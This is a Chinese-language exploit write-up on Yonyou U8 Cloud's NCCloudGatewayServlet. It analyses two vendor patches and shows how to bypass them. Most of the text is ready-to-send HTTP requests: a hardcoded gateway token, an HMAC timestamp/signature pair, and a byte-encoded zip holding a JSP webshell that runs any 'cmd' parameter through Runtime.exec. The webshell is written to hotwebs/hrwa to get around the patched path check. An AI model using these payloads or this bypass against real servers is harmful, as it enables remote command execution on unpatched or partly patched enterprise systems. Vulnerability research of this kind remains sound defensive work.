补丁: https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c

漏洞分析

因为之前分析过这个洞,所以这里直接贴payload

GET /service/NCCloudGatewayServlet HTTP/1.1
Host: 192.168.10.30:8088
gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 2180
 
{"accountCode":"U8cloud","user":"testuser","serviceInfo":{"serviceClassName":"nc.itf.hr.tools.IFileTrans","serviceMethodName":"uploadFile",
"serviceMethodArgInfo":[{"argType":{"body":"java.lang.Byte"},"argValue":{"body":[]},
"agg":"false","isArray":"true","isPrimitive":"true"},{"argType":{"body":"java.lang.String"},"argValue":{"body":"webapps/u8c_web/shell.jsp"},
"agg":"false","isArray":"false","isPrimitive":"false"}]}}

补丁分析

因为之前有其他补丁修复过nc.itf.hr.tools.IFileTrans也把这个补丁考虑进去 补丁: https://security.yonyou.com/#/patchInfo?identifier=565b9cc1214b473dbeb4ab96eeafec08 但是网上的其他复现都是用的nc.bs.pub.util.ProcessFileUtils来实现命令执行,有一点出入,因为不想再去找其他可利用的类了,看看能不能复活这个iFileTrans

首先是对硬编码的修复

GateWayUtil.checkGateWayTokenNew(request.getHeader("ts"),request.getHeader("sign"));

校验方式从之前的解密对比变成了验证时间戳和签名,具体实现如下:

public static void checkGateWayTokenNew(String ts, String sign) throws Exception {  
    if (StringUtils.isEmpty(ts) || StringUtils.isEmpty(sign)) {  
        throw new Exception("您没有请求该服务的权限,请重启网关");  
    }  
    try {  
        long tsLong = Long.parseLong(ts);  
        if (Math.abs(System.currentTimeMillis() - tsLong) > 180000) {  
            throw new Exception("您没有请求该服务的权限,参数已过期");  
        }  
        if (!StringUtils.equals(sign, sign(ts))) {  
            throw new Exception("您没有请求该服务的权限,sign验签失败");  
        }  
    } catch (Exception e) {  
        throw new Exception("您没有请求该服务的权限,ts参数异常");  
    }  
}  
  
public static String sign(String str) throws NoSuchAlgorithmException, InvalidKeyException {  
    return sign(str, new Encode().decode(getProp().getProperty("nccloud.gateway.nctoken")));  
}  
  
public static String sign(String str, String secret) throws IllegalStateException, NoSuchAlgorithmException, InvalidKeyException {  
    Mac mac = Mac.getInstance("HmacSHA256");  
    mac.init(new SecretKeySpec(secret.getBytes(StandardCharsets.UTF_8), "HmacSHA256"));  
    byte[] signData = mac.doFinal(str.getBytes(StandardCharsets.UTF_8));  
    return new String(Base64.encodeBase64(signData))
    ;  
}

传入的时间戳应当是当前时间的前后180000毫秒之内,然后将原本的gatewaytoken作为HmacSHA256key来生成一个签名。 原本的payload,接下来生成对应的tssign 现在是已经可以成功调用到nc.impl.hr.tools.trans.FileTransImpl#uploadFile,去看另外一个补丁对这个方法的处理

public boolean uploadFile(byte[] data, String remoteAbsPath) throws IOException, BusinessException {  
    try {  
        String ctxPath = RuntimeEnv.getInstance().getCanonicalNCHome();  
        String realPath = String.valueOf(ctxPath) + File.separator + "webapps" + File.separator + "u8c_web" + File.separator;  
        if (new File(remoteAbsPath).getCanonicalPath().startsWith(new File(realPath).getCanonicalPath())) {  
            throw new BusinessException("Illegal File Path");  
        }  
        byte[] data2 = ZipUtil.extract(data);  
        FileOutputStream output = new FileOutputStream(remoteAbsPath);  
        output.write(data2);  
        output.flush();  
        output.close();  
        return true;  
    } catch (Exception e) {  
        Logger.error(e.getMessage(), e);  
        throw new BusinessException(e.getMessage());  
    }  
}

实际上是在检测是否以realPath开头,在我的环境中是C:\U8CERP\webapps\u8c_web,实际上去找一个别的可以解析jsp的地方就行了,这里用C:\U8CERP\hotwebs\hrwa\就可以解析。

复现过程

在前面的payload的基础上只需要一点小改动

GET /service/NCCloudGatewayServlet HTTP/1.1
Host: 192.168.10.30:8088
Ts: 1758812646099
Sign: q3YceEpMP0q/KtgBxwaToao+WYlirhL3Kiflx9kWzSg=
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 3697
 
{"accountCode":"U8cloud","user":"x","serviceInfo":{"serviceClassName":"nc.itf.hr.tools.IFileTrans","serviceMethodName":"uploadFile",
"serviceMethodArgInfo":[{"argType":{"body":"java.lang.Byte"},"argValue":{"body":[80, 75, 3, 4, 20, 0, 0, 0, 0, 0, 121, -72, 57, 91, -122, 72, -85, -1, 117, 2, 0, 0, 117, 2, 0, 0, 10, 0, 0, 0, 99, 111, 109, 112, 114, 101, 115, 115, 101, 100, 10, 60, 37, 64, 32, 112, 97, 103, 101, 32, 99, 111, 110, 116, 101, 110, 116, 84, 121, 112, 101, 61, 34, 116, 101, 120, 116, 47, 104, 116, 109, 108, 59, 99, 104, 97, 114, 115, 101, 116, 61, 85, 84, 70, 45, 56, 34, 32, 108, 97, 110, 103, 117, 97, 103, 101, 61, 34, 106, 97, 118, 97, 34, 32, 37, 62, 10, 60, 37, 64, 32, 112, 97, 103, 101, 32, 105, 109, 112, 111, 114, 116, 61, 34, 106, 97, 118, 97, 46, 105, 111, 46, 42, 34, 32, 37, 62, 10, 60, 37, 10, 32, 32, 32, 32, 83, 116, 114, 105, 110, 103, 32, 99, 111, 109, 109, 97, 110, 100, 32, 61, 32, 114, 101, 113, 117, 101, 115, 116, 46, 103, 101, 116, 80, 97, 114, 97, 109, 101, 116, 101, 114, 40, 34, 99, 109, 100, 34, 41, 59, 10, 32, 32, 32, 32, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 32, 111, 117, 116, 112, 117, 116, 32, 61, 32, 110, 101, 119, 32, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 40, 41, 59, 10, 32, 32, 32, 32, 116, 114, 121, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 80, 114, 111, 99, 101, 115, 115, 32, 112, 114, 111, 99, 101, 115, 115, 32, 61, 32, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 99, 111, 109, 109, 97, 110, 100, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 32, 114, 101, 97, 100, 101, 114, 32, 61, 32, 110, 101, 119, 32, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 40, 110, 101, 119, 32, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 40, 112, 114, 111, 99, 101, 115, 115, 46, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 40, 41, 41, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 83, 116, 114, 105, 110, 103, 32, 108, 105, 110, 101, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 40, 108, 105, 110, 101, 32, 61, 32, 114, 101, 97, 100, 101, 114, 46, 114, 101, 97, 100, 76, 105, 110, 101, 40, 41, 41, 32, 33, 61, 32, 110, 117, 108, 108, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 111, 117, 116, 112, 117, 116, 46, 97, 112, 112, 101, 110, 100, 40, 108, 105, 110, 101, 41, 46, 97, 112, 112, 101, 110, 100, 40, 34, 60, 98, 114, 62, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 112, 114, 111, 99, 101, 115, 115, 46, 119, 97, 105, 116, 70, 111, 114, 40, 41, 59, 10, 32, 32, 32, 32, 125, 32, 99, 97, 116, 99, 104, 32, 40, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 32, 124, 32, 73, 110, 116, 101, 114, 114, 117, 112, 116, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 32, 101, 41, 32, 123, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 111, 117, 116, 46, 112, 114, 105, 110, 116, 108, 110, 40, 111, 117, 116, 112, 117, 116, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 41, 41, 59, 10, 37, 62, 10, 80, 75, 1, 2, 20, 3, 20, 0, 0, 0, 0, 0, 121, -72, 57, 91, -122, 72, -85, -1, 117, 2, 0, 0, 117, 2, 0, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -128, 1, 0, 0, 0, 0, 99, 111, 109, 112, 114, 101, 115, 115, 101, 100, 80, 75, 5, 6, 0, 0, 0, 0, 1, 0, 1, 0, 56, 0, 0, 0, -99, 2, 0, 0, 0, 0]
},
"agg":"false","isArray":"true","isPrimitive":"true"},{"argType":{"body":"java.lang.String"},"argValue":{"body":"hotwebs/hrwa/x.jsp"},
"agg":"false","isArray":"false","isPrimitive":"false"}]}}

就可以成功写入webshell